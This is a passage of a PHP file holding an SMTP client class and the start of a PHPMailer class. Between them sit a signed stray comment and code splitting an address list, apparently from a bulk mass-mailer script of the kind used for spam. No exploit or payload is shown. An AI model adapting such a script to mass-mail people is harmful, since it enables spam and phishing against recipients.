  759.       # ok we need to break this line up into several
  760.     # smaller lines
  761.     while(strlen($line) > $max_line_length) {
  762.         $pos = strrpos(substr($line,0,$max_line_length)," ");
  763.  
  764.         # Patch to fix DOS attack
  765.       if(!$pos) {
  766.           $pos = $max_line_length - 1;
  767.         }
  768.  
  769.         $lines_out[] = substr($line,0,$pos);
  770.         $line = substr($line,$pos + 1);
  771.         # if we are processing headers we need to
  772.       # add a LWSP-char to the front of the new line
  773.       # rfc 822 on long msg headers
  774.       if($in_headers) {
  775.           $line = "\t" . $line;
  776.         }
  777.       }
  778.       $lines_out[] = $line;
  779.  
  780.       # now send the lines to the server
  781.     while(list(,$line_out) = @each($lines_out)) {
  782.         if(strlen($line_out) > 0)
  783.         {
  784.           if(substr($line_out, 0, 1) == ".") {
  785.             $line_out = "." . $line_out;
  786.           }
  787.         }
  788.         fputs($this->smtp_conn,$line_out . $this->CRLF);
  789.       }
  790.     }
  791.  
  792.     # ok all the message data has been sent so lets get this
  793.   # over with aleady
  794.   fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
  795.  
  796.     $rply = $this->get_lines();
  797.     $code = substr($rply,0,3);
  798.  
  799.     if($this->do_debug >= 2) {
  800.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  801.     }
  802.  
  803.     if($code != 250) {
  804.       $this->error =
  805.         array("error" => "DATA not accepted from server",
  806.               "smtp_code" => $code,
  807.               "smtp_msg" => substr($rply,4));
  808.       if($this->do_debug >= 1) {
  809.         echo "SMTP -> ERROR: " . $this->error["error"] .
  810.                  ": " . $rply . $this->CRLF;
  811.       }
  812.       return false;
  813.     }
  814.     return true;
  815.   }
  816.  
  817.   /**
  818.    * Expand takes the name and asks the server to list all the
  819.    * people who are members of the _list_. Expand will return
  820.    * back and array of the result or false if an error occurs.
  821.    * Each value in the array returned has the format of:
  822.    *     [ <full-name> <sp> ] <path>
  823.    * The definition of <path> is defined in rfc 821
  824.    *
  825.    * Implements rfc 821: EXPN <SP> <string> <CRLF>
  826.    *
  827.    * SMTP CODE SUCCESS: 250
  828.    * SMTP CODE FAILURE: 550
  829.    * SMTP CODE ERROR  : 500,501,502,504,421
  830.    * @access public
  831.    * @return string array
  832.    */
  833.   function Expand($name) {
  834.     $this->error = null; # so no confusion is caused
  835.  
  836.     if(!$this->connected()) {
  837.       $this->error = array(
  838.             "error" => "Called Expand() without being connected");
  839.       return false;
  840.     }
  841.  
  842.     fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
  843.  
  844.     $rply = $this->get_lines();
  845.     $code = substr($rply,0,3);
  846.  
  847.     if($this->do_debug >= 2) {
  848.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  849.     }
  850.  
  851.     if($code != 250) {
  852.       $this->error =
  853.         array("error" => "EXPN not accepted from server",
  854.               "smtp_code" => $code,
  855.               "smtp_msg" => substr($rply,4));
  856.       if($this->do_debug >= 1) {
  857.         echo "SMTP -> ERROR: " . $this->error["error"] .
  858.                  ": " . $rply . $this->CRLF;
  859.       }
  860.       return false;
  861.     }
  862.  
  863.     # parse the reply and place in our array to return to user
  864.   $entries = explode($this->CRLF,$rply);
  865.     while(list(,$l) = @each($entries)) {
  866.       $list[] = substr($l,4);
  867.     }
  868.  
  869.     return $list;
  870.   }
  871.  
  872.   /**
  873.    * Sends the HELO command to the smtp server.
  874.    * This makes sure that we and the server are in
  875.    * the same known state.
  876.    *
  877.    * Implements from rfc 821: HELO <SP> <domain> <CRLF>
  878.    *
  879.    * SMTP CODE SUCCESS: 250
  880.    * SMTP CODE ERROR  : 500, 501, 504, 421
  881.    * @access public
  882.    * @return bool
  883.    */
  884.   function Hello($host="") {
  885.     $this->error = null; # so no confusion is caused
  886.  
  887.     if(!$this->connected()) {
  888.       $this->error = array(
  889.             "error" => "Called Hello() without being connected");
  890.       return false;
  891.     }
  892.  
  893.     # if a hostname for the HELO was not specified determine
  894.   # a suitable one to send
  895.   if(empty($host)) {
  896.       # we need to determine some sort of appopiate default
  897.     # to send to the server
  898.     $host = "localhost";
  899.     }
  900.  
  901.     // Send extended hello first (RFC 2821)
  902.     if(!$this->SendHello("EHLO", $host))
  903.     {
  904.       if(!$this->SendHello("HELO", $host))
  905.           return false;
  906.     }
  907.  
  908.     return true;
  909.   }
  910.  
  911.   /**
  912.    * Sends a HELO/EHLO command.
  913.    * @access private
  914.    * @return bool
  915.    */
  916.   function SendHello($hello, $host) {
  917.     fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
  918.  
  919.     $rply = $this->get_lines();
  920.     $code = substr($rply,0,3);
  921.  
  922.     if($this->do_debug >= 2) {
  923.       echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
  924.     }
  925.  
  926.     if($code != 250) {
  927.       $this->error =
  928.         array("error" => $hello . " not accepted from server",
  929.               "smtp_code" => $code,
  930.               "smtp_msg" => substr($rply,4));
  931.       if($this->do_debug >= 1) {
  932.         echo "SMTP -> ERROR: " . $this->error["error"] .
  933.                  ": " . $rply . $this->CRLF;
  934.       }
  935.       return false;
  936.     }
  937.  
  938.     $this->helo_rply = $rply;
  939.  
  940.     return true;
  941.   }
  942.  
  943.   /**
  944.    * Gets help information on the keyword specified. If the keyword
  945.    * is not specified then returns generic help, ussually contianing
  946.    * A list of keywords that help is available on. This function
  947.    * returns the results back to the user. It is up to the user to
  948.    * handle the returned data. If an error occurs then false is
  949.    * returned with $this->error set appropiately.
  950.    *
  951.    * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
  952.    *
  953.    * SMTP CODE SUCCESS: 211,214
  954.    * SMTP CODE ERROR  : 500,501,502,504,421
  955.    * @access public
  956.    * @return string
  957.    */
  958.   function Help($keyword="") {
  959.     $this->error = null; # to avoid confusion
  960.  
  961.     if(!$this->connected()) {
  962.       $this->error = array(
  963.               "error" => "Called Help() without being connected");
  964.       return false;
  965.     }
  966.  
  967.     $extra = "";
  968.     if(!empty($keyword)) {
  969.       $extra = " " . $keyword;
  970.     }
  971.  
  972.     fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
  973.  
  974.     $rply = $this->get_lines();
  975.     $code = substr($rply,0,3);
  976.  
  977.     if($this->do_debug >= 2) {
  978.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  979.     }
  980.  
  981.     if($code != 211 && $code != 214) {
  982.       $this->error =
  983.         array("error" => "HELP not accepted from server",
  984.               "smtp_code" => $code,
  985.               "smtp_msg" => substr($rply,4));
  986.       if($this->do_debug >= 1) {
  987.         echo "SMTP -> ERROR: " . $this->error["error"] .
  988.                  ": " . $rply . $this->CRLF;
  989.       }
  990.       return false;
  991.     }
  992.  
  993.     return $rply;
  994.   }
  995.  
  996.   /**
  997.    * Starts a mail transaction from the email address specified in
  998.    * $from. Returns true if successful or false otherwise. If True
  999.    * the mail transaction is started and then one or more Recipient
  1000.    * commands may be called followed by a Data command.
  1001.    *
  1002.    * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
  1003.    *
  1004.    * SMTP CODE SUCCESS: 250
  1005.    * SMTP CODE SUCCESS: 552,451,452
  1006.    * SMTP CODE SUCCESS: 500,501,421
  1007.    * @access public
  1008.    * @return bool
  1009.    */
  1010.   function Mail($from) {
  1011.     $this->error = null; # so no confusion is caused
  1012.  
  1013.     if(!$this->connected()) {
  1014.       $this->error = array(
  1015.               "error" => "Called Mail() without being connected");
  1016.       return false;
  1017.     }
  1018.  
  1019.     $useVerp = ($this->do_verp ? "XVERP" : "");
  1020.     fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
  1021.  
  1022.     $rply = $this->get_lines();
  1023.     $code = substr($rply,0,3);
  1024.  
  1025.     if($this->do_debug >= 2) {
  1026.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1027.     }
  1028.  
  1029.     if($code != 250) {
  1030.       $this->error =
  1031.         array("error" => "MAIL not accepted from server",
  1032.               "smtp_code" => $code,
  1033.               "smtp_msg" => substr($rply,4));
  1034.       if($this->do_debug >= 1) {
  1035.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1036.                  ": " . $rply . $this->CRLF;
  1037.       }
  1038.       return false;
  1039.     }
  1040.     return true;
  1041.   }
  1042.  
  1043.   /**
  1044.    * Sends the command NOOP to the SMTP server.
  1045.    *
  1046.    * Implements from rfc 821: NOOP <CRLF>
  1047.    *
  1048.    * SMTP CODE SUCCESS: 250
  1049.    * SMTP CODE ERROR  : 500, 421
  1050.    * @access public
  1051.    * @return bool
  1052.    */
  1053.   function Noop() {
  1054.     $this->error = null; # so no confusion is caused
  1055.  
  1056.     if(!$this->connected()) {
  1057.       $this->error = array(
  1058.               "error" => "Called Noop() without being connected");
  1059.       return false;
  1060.     }
  1061.  
  1062.     fputs($this->smtp_conn,"NOOP" . $this->CRLF);
  1063.  
  1064.     $rply = $this->get_lines();
  1065.     $code = substr($rply,0,3);
  1066.  
  1067.     if($this->do_debug >= 2) {
  1068.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1069.     }
  1070.  
  1071.     if($code != 250) {
  1072.       $this->error =
  1073.         array("error" => "NOOP not accepted from server",
  1074.               "smtp_code" => $code,
  1075.               "smtp_msg" => substr($rply,4));
  1076.       if($this->do_debug >= 1) {
  1077.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1078.                  ": " . $rply . $this->CRLF;
  1079.       }
  1080.       return false;
  1081.     }
  1082.     return true;
  1083.   }
  1084.  
  1085.   /**
  1086.    * Sends the quit command to the server and then closes the socket
  1087.    * if there is no error or the $close_on_error argument is true.
  1088.    *
  1089.    * Implements from rfc 821: QUIT <CRLF>
  1090.    *
  1091.    * SMTP CODE SUCCESS: 221
  1092.    * SMTP CODE ERROR  : 500
  1093.    * @access public
  1094.    * @return bool
  1095.    */
  1096.   function Quit($close_on_error=true) {
  1097.     $this->error = null; # so there is no confusion
  1098.  
  1099.     if(!$this->connected()) {
  1100.       $this->error = array(
  1101.               "error" => "Called Quit() without being connected");
  1102.       return false;
  1103.     }
  1104.  
  1105.     # send the quit command to the server
  1106.   fputs($this->smtp_conn,"quit" . $this->CRLF);
  1107.  
  1108.     # get any good-bye messages
  1109.   $byemsg = $this->get_lines();
  1110.  
  1111.     if($this->do_debug >= 2) {
  1112.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
  1113.     }
  1114.  
  1115.     $rval = true;
  1116.     $e = null;
  1117.  
  1118.     $code = substr($byemsg,0,3);
  1119.     if($code != 221) {
  1120.       # use e as a tmp var cause Close will overwrite $this->error
  1121.     $e = array("error" => "SMTP server rejected quit command",
  1122.                  "smtp_code" => $code,
  1123.                  "smtp_rply" => substr($byemsg,4));
  1124.       $rval = false;
  1125.       if($this->do_debug >= 1) {
  1126.         echo "SMTP -> ERROR: " . $e["error"] . ": " .
  1127.                  $byemsg . $this->CRLF;
  1128.       }
  1129.     }
  1130.  
  1131.     if(empty($e) || $close_on_error) {
  1132.       $this->Close();
  1133.     }
  1134.  
  1135.     return $rval;
  1136.   }
  1137.  
  1138.   /**
  1139.    * Sends the command RCPT to the SMTP server with the TO: argument of $to.
  1140.    * Returns true if the recipient was accepted false if it was rejected.
  1141.    *
  1142.    * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
  1143.    *
  1144.    * SMTP CODE SUCCESS: 250,251
  1145.    * SMTP CODE FAILURE: 550,551,552,553,450,451,452
  1146.    * SMTP CODE ERROR  : 500,501,503,421
  1147.    * @access public
  1148.    * @return bool
  1149.    */
  1150.   function Recipient($to) {
  1151.     $this->error = null; # so no confusion is caused
  1152.  
  1153.     if(!$this->connected()) {
  1154.       $this->error = array(
  1155.               "error" => "Called Recipient() without being connected");
  1156.       return false;
  1157.     }
  1158.  
  1159.     fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
  1160.  
  1161.     $rply = $this->get_lines();
  1162.     $code = substr($rply,0,3);
  1163.  
  1164.     if($this->do_debug >= 2) {
  1165.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1166.     }
  1167.  
  1168.     if($code != 250 && $code != 251) {
  1169.       $this->error =
  1170.         array("error" => "RCPT not accepted from server",
  1171.               "smtp_code" => $code,
  1172.               "smtp_msg" => substr($rply,4));
  1173.       if($this->do_debug >= 1) {
  1174.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1175.                  ": " . $rply . $this->CRLF;
  1176.       }
  1177.       return false;
  1178.     }
  1179.     return true;
  1180.   }
  1181.  
  1182.   /**
  1183.    * Sends the RSET command to abort and transaction that is
  1184.    * currently in progress. Returns true if successful false
  1185.    * otherwise.
  1186.    *
  1187.    * Implements rfc 821: RSET <CRLF>
  1188.    *
  1189.    * SMTP CODE SUCCESS: 250
  1190.    * SMTP CODE ERROR  : 500,501,504,421
  1191.    * @access public
  1192.    * @return bool
  1193.    */
  1194.   function Reset() {
  1195.     $this->error = null; # so no confusion is caused
  1196.  
  1197.     if(!$this->connected()) {
  1198.       $this->error = array(
  1199.               "error" => "Called Reset() without being connected");
  1200.       return false;
  1201.     }
  1202.  
  1203.     fputs($this->smtp_conn,"RSET" . $this->CRLF);
  1204.  
  1205.     $rply = $this->get_lines();
  1206.     $code = substr($rply,0,3);
  1207.  
  1208.     if($this->do_debug >= 2) {
  1209.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1210.     }
  1211.  
  1212.     if($code != 250) {
  1213.       $this->error =
  1214.         array("error" => "RSET failed",
  1215.               "smtp_code" => $code,
  1216.               "smtp_msg" => substr($rply,4));
  1217.       if($this->do_debug >= 1) {
  1218.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1219.                  ": " . $rply . $this->CRLF;
  1220.       }
  1221.       return false;
  1222.     }
  1223.  
  1224.     return true;
  1225.   }
  1226.  
  1227.   /**
  1228.    * Starts a mail transaction from the email address specified in
  1229.    * $from. Returns true if successful or false otherwise. If True
  1230.    * the mail transaction is started and then one or more Recipient
  1231.    * commands may be called followed by a Data command. This command
  1232.    * will send the message to the users terminal if they are logged
  1233.    * in.
  1234.    *
  1235.    * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
  1236.    *
  1237.    * SMTP CODE SUCCESS: 250
  1238.    * SMTP CODE SUCCESS: 552,451,452
  1239.    * SMTP CODE SUCCESS: 500,501,502,421
  1240.    * @access public
  1241.    * @return bool
  1242.    */
  1243.   function Send($from) {
  1244.     $this->error = null; # so no confusion is caused
  1245.  
  1246.     if(!$this->connected()) {
  1247.       $this->error = array(
  1248.               "error" => "Called Send() without being connected");
  1249.       return false;
  1250.     }
  1251.  
  1252.     fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
  1253.  
  1254.     $rply = $this->get_lines();
  1255.     $code = substr($rply,0,3);
  1256.  
  1257.     if($this->do_debug >= 2) {
  1258.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1259.     }
  1260.  
  1261.     if($code != 250) {
  1262.       $this->error =
  1263.         array("error" => "SEND not accepted from server",
  1264.               "smtp_code" => $code,
  1265.               "smtp_msg" => substr($rply,4));
  1266.       if($this->do_debug >= 1) {
  1267.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1268.                  ": " . $rply . $this->CRLF;
  1269.       }
  1270.       return false;
  1271.     }
  1272.     return true;
  1273.   }
  1274.  
  1275.   /**
  1276.    * Starts a mail transaction from the email address specified in
  1277.    * $from. Returns true if successful or false otherwise. If True
  1278.    * the mail transaction is started and then one or more Recipient
  1279.    * commands may be called followed by a Data command. This command
  1280.    * will send the message to the users terminal if they are logged
  1281.    * in and send them an email.
  1282.    *
  1283.    * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
  1284.    *
  1285.    * SMTP CODE SUCCESS: 250
  1286.    * SMTP CODE SUCCESS: 552,451,452
  1287.    * SMTP CODE SUCCESS: 500,501,502,421
  1288.    * @access public
  1289.    * @return bool
  1290.    */
  1291.   function SendAndMail($from) {
  1292.     $this->error = null; # so no confusion is caused
  1293.  
  1294.     if(!$this->connected()) {
  1295.       $this->error = array(
  1296.           "error" => "Called SendAndMail() without being connected");
  1297.       return false;
  1298.     }
  1299.  
  1300.     fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
  1301.  
  1302.     $rply = $this->get_lines();
  1303.     $code = substr($rply,0,3);
  1304.  
  1305.     if($this->do_debug >= 2) {
  1306.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1307.     }
  1308.  
  1309.     if($code != 250) {
  1310.       $this->error =
  1311.         array("error" => "SAML not accepted from server",
  1312.               "smtp_code" => $code,
  1313.               "smtp_msg" => substr($rply,4));
  1314.       if($this->do_debug >= 1) {
  1315.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1316.                  ": " . $rply . $this->CRLF;
  1317.       }
  1318.       return false;
  1319.     }
  1320.     return true;
  1321.   }
  1322.  
  1323.   /**
  1324.    * Starts a mail transaction from the email address specified in
  1325.    * $from. Returns true if successful or false otherwise. If True
  1326.    * the mail transaction is started and then one or more Recipient
  1327.    * commands may be called followed by a Data command. This command
  1328.    * will send the message to the users terminal if they are logged
  1329.    * in or mail it to them if they are not.
  1330.    *
  1331.    * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
  1332.    *
  1333.    * SMTP CODE SUCCESS: 250
  1334.    * SMTP CODE SUCCESS: 552,451,452
  1335.    * SMTP CODE SUCCESS: 500,501,502,421
  1336.    * @access public
  1337.    * @return bool
  1338.    */
  1339.   function SendOrMail($from) {
  1340.     $this->error = null; # so no confusion is caused
  1341.  
  1342.     if(!$this->connected()) {
  1343.       $this->error = array(
  1344.           "error" => "Called SendOrMail() without being connected");
  1345.       return false;
  1346.     }
  1347.  
  1348.     fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
  1349.  
  1350.     $rply = $this->get_lines();
  1351.     $code = substr($rply,0,3);
  1352.  
  1353.     if($this->do_debug >= 2) {
  1354.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1355.     }
  1356.  
  1357.     if($code != 250) {
  1358.       $this->error =
  1359.         array("error" => "SOML not accepted from server",
  1360.               "smtp_code" => $code,
  1361.               "smtp_msg" => substr($rply,4));
  1362.       if($this->do_debug >= 1) {
  1363.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1364.                  ": " . $rply . $this->CRLF;
  1365.       }
  1366.       return false;
  1367.     }
  1368.     return true;
  1369.   }
  1370.  
  1371.   /**
  1372.    * This is an optional command for SMTP that this class does not
  1373.    * support. This method is here to make the RFC821 Definition
  1374.    * complete for this class and __may__ be implimented in the future
  1375.    *
  1376.    * Implements from rfc 821: TURN <CRLF>
  1377.    *
  1378.    * SMTP CODE SUCCESS: 250
  1379.    * SMTP CODE FAILURE: 502
  1380.    * SMTP CODE ERROR  : 500, 503
  1381.    * @access public
  1382.    * @return bool
  1383.    */
  1384.   function Turn() {
  1385.     $this->error = array("error" => "This method, TURN, of the SMTP ".
  1386.                                     "is not implemented");
  1387.     if($this->do_debug >= 1) {
  1388.       echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
  1389.     }
  1390.     return false;
  1391.   }
  1392.  
  1393.   /**
  1394.    * Verifies that the name is recognized by the server.
  1395.    * Returns false if the name could not be verified otherwise
  1396.    * the response from the server is returned.
  1397.    *
  1398.    * Implements rfc 821: VRFY <SP> <string> <CRLF>
  1399.    *
  1400.    * SMTP CODE SUCCESS: 250,251
  1401.    * SMTP CODE FAILURE: 550,551,553
  1402.    * SMTP CODE ERROR  : 500,501,502,421
  1403.    * @access public
  1404.    * @return int
  1405.    */
  1406.   function Verify($name) {
  1407.     $this->error = null; # so no confusion is caused
  1408.  
  1409.     if(!$this->connected()) {
  1410.       $this->error = array(
  1411.               "error" => "Called Verify() without being connected");
  1412.       return false;
  1413.     }
  1414.  
  1415.     fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
  1416.  
  1417.     $rply = $this->get_lines();
  1418.     $code = substr($rply,0,3);
  1419.  
  1420.     if($this->do_debug >= 2) {
  1421.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1422.     }
  1423.  
  1424.     if($code != 250 && $code != 251) {
  1425.       $this->error =
  1426.         array("error" => "VRFY failed on name '$name'",
  1427.               "smtp_code" => $code,
  1428.               "smtp_msg" => substr($rply,4));
  1429.       if($this->do_debug >= 1) {
  1430.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1431.                  ": " . $rply . $this->CRLF;
  1432.       }
  1433.       return false;
  1434.     }
  1435.     return $rply;
  1436.   }
  1437.  
  1438.   /*******************************************************************
  1439.    *                       INTERNAL FUNCTIONS                       *
  1440.    ******************************************************************/
  1441.  
  1442.   /**
  1443.    * Read in as many lines as possible
  1444.    * either before eof or socket timeout occurs on the operation.
  1445.    * With SMTP we can tell if we have more lines to read if the
  1446.    * 4th character is '-' symbol. If it is a space then we don't
  1447.    * need to read anything else.
  1448.    * @access private
  1449.    * @return string
  1450.    */
  1451.   function get_lines() {
  1452.     $data = "";
  1453.     while($str = @fgets($this->smtp_conn,515)) {
  1454.       if($this->do_debug >= 4) {
  1455.         echo "SMTP -> get_lines(): \$data was \"$data\"" .
  1456.                  $this->CRLF;
  1457.         echo "SMTP -> get_lines(): \$str is \"$str\"" .
  1458.                  $this->CRLF;
  1459.       }
  1460.       $data .= $str;
  1461.       if($this->do_debug >= 4) {
  1462.         echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
  1463.       }
  1464.       # if the 4th character is a space then we are done reading
  1465.     # so just break the loop
  1466.     if(substr($str,3,1) == " ") { break; }
  1467.     }
  1468.     return $data;
  1469.   }
  1470.  
  1471. }
  1472.  // Here Bitchz Hilmy
  1473.  
  1474. $allemails = split("\n", $emaillist);
  1475. $numemails = count($allemails);
  1476.  
  1477. class PHPMailer {
  1478.  
  1479.   /////////////////////////////////////////////////
  1480.   // PROPERTIES, PUBLIC
  1481.   /////////////////////////////////////////////////
  1482.  
  1483.   /**
  1484.    * Email priority (1 = High, 3 = Normal, 5 = low).
  1485.    * @var int
  1486.    */
  1487.   var $Priority          = 3;
  1488.  
  1489.   /**
  1490.    * Sets the CharSet of the message.
  1491.    * @var string
  1492.    */
  1493.   var $CharSet           = 'us-ascii';
  1494.  
  1495.   /**
  1496.    * Sets the Content-type of the message.
  1497.    * @var string
  1498.    */
  1499.   var $ContentType        = 'text/plain';
  1500.  
  1501.   /**
  1502.    * Sets the Encoding of the message. Options for this are "8bit",
  1503.    * "7bit", "binary", "base64", and "quoted-printable".
  1504.  
  1505.    * @var string
  1506.    */
  1507.   var $Encoding          = 'quoted-printable';
  1508.  
  1509.   /**
  1510.    * Holds the most recent mailer error message.
  1511.    * @var string
  1512.    */
  1513.   var $ErrorInfo         = '';
  1514.  
  1515.   /**
  1516.    * Sets the From email address for the message.
  1517.    * @var string
  1518.    */
  1519.   var $From              = '';
  1520.  
  1521.   /**
  1522.    * Sets the From name of the message.
  1523.    * @var string
  1524.    */
  1525.   var $FromName          = '';
  1526.  
  1527.   /**
  1528.    * Sets the Sender email (Return-Path) of the message.  If not empty,
  1529.    * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
  1530.    * @var string
  1531.    */
  1532.   var $Sender            = '';
  1533.  
  1534.   /**
  1535.    * Sets the Subject of the message.
  1536.    * @var string
  1537.    */
  1538.   var $Subject           = '';
  1539.  
  1540.   /**
  1541.    * Sets the Body of the message.  This can be either an HTML or text body.
  1542.    * If HTML then run IsHTML(true).
  1543.    * @var string
  1544.    */
  1545.   var $Body              = '';
  1546.  
  1547.   /**
  1548.    * Sets the text-only body of the message.  This automatically sets the
  1549.    * email to multipart/alternative.  This body can be read by mail
  1550.    * clients that do not have HTML email capability such as mutt. Clients
  1551.    * that can read HTML will view the normal Body.
  1552.    * @var string
  1553.    */
  1554.   var $AltBody           = '';
  1555.  
  1556.   /**
  1557.    * Sets word wrapping on the body of the message to a given number of
  1558.    * characters.
  1559.    * @var int
  1560.    */
  1561.   var $WordWrap          = 0;
  1562.  
  1563.   /**
  1564.    * Method to send mail: ("mail", "sendmail", or "smtp").
  1565.    * @var string
  1566.    */
  1567.   var $Mailer            = 'mail';
  1568.  
  1569.   /**
  1570.    * Sets the path of the sendmail program.
  1571.    * @var string
  1572.    */
  1573.   var $Sendmail          = '/usr/sbin/sendmail';
  1574.  
  1575.   /**
  1576.    * Path to PHPMailer plugins.  This is now only useful if the SMTP class
  1577.    * is in a different directory than the PHP include path.
  1578.    * @var string
  1579.    */
  1580.   var $PluginDir         = '';
  1581.  
  1582.   /**
  1583.    * Holds PHPMailer version.
  1584.    * @var string
  1585.    */
  1586.   var $Version           = "";
  1587.  
  1588.   /**
  1589.    * Sets the email address that a reading confirmation will be sent.
  1590.    * @var string
  1591.    */
  1592.   var $ConfirmReadingTo  = '';
  1593.  
  1594.   /**
  1595.    * Sets the hostname to use in Message-Id and Received headers
  1596.    * and as default HELO string. If empty, the value returned
  1597.    * by SERVER_NAME is used or 'localhost.localdomain'.
  1598.    * @var string
  1599.    */
  1600.   var $Hostname          = '';
  1601.  
  1602.   /**
  1603.    * Sets the message ID to be used in the Message-Id header.
  1604.    * If empty, a unique id will be generated.
  1605.    * @var string
  1606.    */
  1607.   var $MessageID         = '';
  1608.  
  1609.   /////////////////////////////////////////////////
  1610.   // PROPERTIES FOR SMTP
  1611.   /////////////////////////////////////////////////
  1612.  
  1613.   /**
  1614.    * Sets the SMTP hosts.  All hosts must be separated by a
  1615.    * semicolon.  You can also specify a different port
  1616.    * for each host by using this format: [hostname:port]
  1617.    * (e.g. "smtp1.example.com:25;smtp2.example.com").
  1618.    * Hosts will be tried in order.
  1619.    * @var string
  1620.    */
  1621.   var $Host        = 'localhost';
  1622.  
  1623.   /**
  1624.    * Sets the default SMTP server port.
  1625.    * @var int
  1626.    */
  1627.   var $Port        = 25;
  1628.  
  1629.   /**
  1630.    * Sets the SMTP HELO of the message (Default is $Hostname).
  1631.    * @var string
  1632.    */
  1633.   var $Helo        = '';
  1634.  
  1635.   /**
  1636.    * Sets connection prefix.
  1637.    * Options are "", "ssl" or "tls"
  1638.    * @var string
  1639.    */
  1640.   var $SMTPSecure = "";
  1641.  
  1642.   /**
  1643.    * Sets SMTP authentication. Utilizes the Username and Password variables.
  1644.    * @var bool
  1645.    */
  1646.   var $SMTPAuth     = false;
  1647.  
  1648.   /**
  1649.    * Sets SMTP username.
  1650.    * @var string
  1651.    */
  1652.   var $Username     = '';
  1653.  
  1654.   /**
  1655.    * Sets SMTP password.
  1656.    * @var string
  1657.    */
  1658.   var $Password     = '';
  1659.  
  1660.   /**
  1661.    * Sets the SMTP server timeout in seconds. This function will not
  1662.    * work with the win32 version.
  1663.    * @var int
  1664.    */
  1665.   var $Timeout      = 10;
  1666.  
  1667.   /**
  1668.    * Sets SMTP class debugging on or off.
  1669.    * @var bool
  1670.    */
  1671.   var $SMTPDebug    = false;
  1672.  
  1673.   /**
  1674.    * Prevents the SMTP connection from being closed after each mail
  1675.    * sending.  If this is set to true then to close the connection
  1676.    * requires an explicit call to SmtpClose().
  1677.    * @var bool
  1678.    */
  1679.   var $SMTPKeepAlive = false;
  1680.  
  1681.   /**
  1682.    * Provides the ability to have the TO field process individual
  1683.    * emails, instead of sending to entire TO addresses
  1684.    * @var bool
  1685.    */
  1686.   var $SingleTo = false;
  1687.  
  1688.   /////////////////////////////////////////////////
  1689.   // PROPERTIES, PRIVATE
  1690.   /////////////////////////////////////////////////
  1691.  
  1692.   var $smtp            = NULL;
  1693.   var $to              = array();
  1694.   var $cc              = array();
  1695.   var $bcc             = array();
  1696.   var $ReplyTo         = array();
  1697.   var $attachment      = array();
  1698.   var $CustomHeader    = array();
  1699.   var $message_type    = '';
  1700.   var $boundary        = array();
  1701.   var $language        = array();
  1702.   var $error_count     = 0;
  1703.   var $LE              = "\n";
  1704.   var $sign_key_file   = "";
  1705.   var $sign_key_pass   = "";
  1706.  
  1707.   /////////////////////////////////////////////////
  1708.   // METHODS, VARIABLES
  1709.   /////////////////////////////////////////////////
  1710.  
  1711.   /**
  1712.    * Sets message type to HTML.
  1713.    * @param bool $bool
  1714.    * @return void
  1715.    */
  1716.   function IsHTML($bool) {
  1717.     if($bool == true) {
  1718.       $this->ContentType = 'text/html';
  1719.     } else {
  1720.       $this->ContentType = 'text/plain';
  1721.     }
  1722.   }
  1723.  
  1724.   /**
  1725.    * Sets Mailer to send message using SMTP.
  1726.    * @return void
  1727.    */
  1728.   function IsSMTP() {
  1729.     $this->Mailer = 'smtp';
  1730.   }
  1731.  
  1732.   /**
  1733.    * Sets Mailer to send message using PHP mail() function.
  1734.    * @return void
  1735.    */
  1736.   function IsMail() {
  1737.     $this->Mailer = 'mail';
  1738.   }
  1739.  
  1740.   /**
  1741.    * Sets Mailer to send message using the $Sendmail program.
  1742.    * @return void
  1743.    */
  1744.   function IsSendmail() {
  1745.     $this->Mailer = 'sendmail';
  1746.   }
  1747.  
  1748.   /**
  1749.    * Sets Mailer to send message using the qmail MTA.
  1750.    * @return void
  1751.    */
  1752.   function IsQmail() {
  1753.     $this->Sendmail = '/var/qmail/bin/sendmail';
  1754.     $this->Mailer = 'sendmail';
  1755.   }
  1756.  
  1757.   /////////////////////////////////////////////////
  1758.   // METHODS, RECIPIENTS
  1759.   /////////////////////////////////////////////////
  1760.  
  1761.   /**
  1762.    * Adds a "To" address.
  1763.    * @param string $address
  1764.    * @param string $name
  1765.    * @return void
  1766.    */
  1767.   function AddAddress($address, $name = '') {
  1768.     $cur = count($this->to);
  1769.     $this->to[$cur][0] = trim($address);
  1770.     $this->to[$cur][1] = $name;
  1771.   }
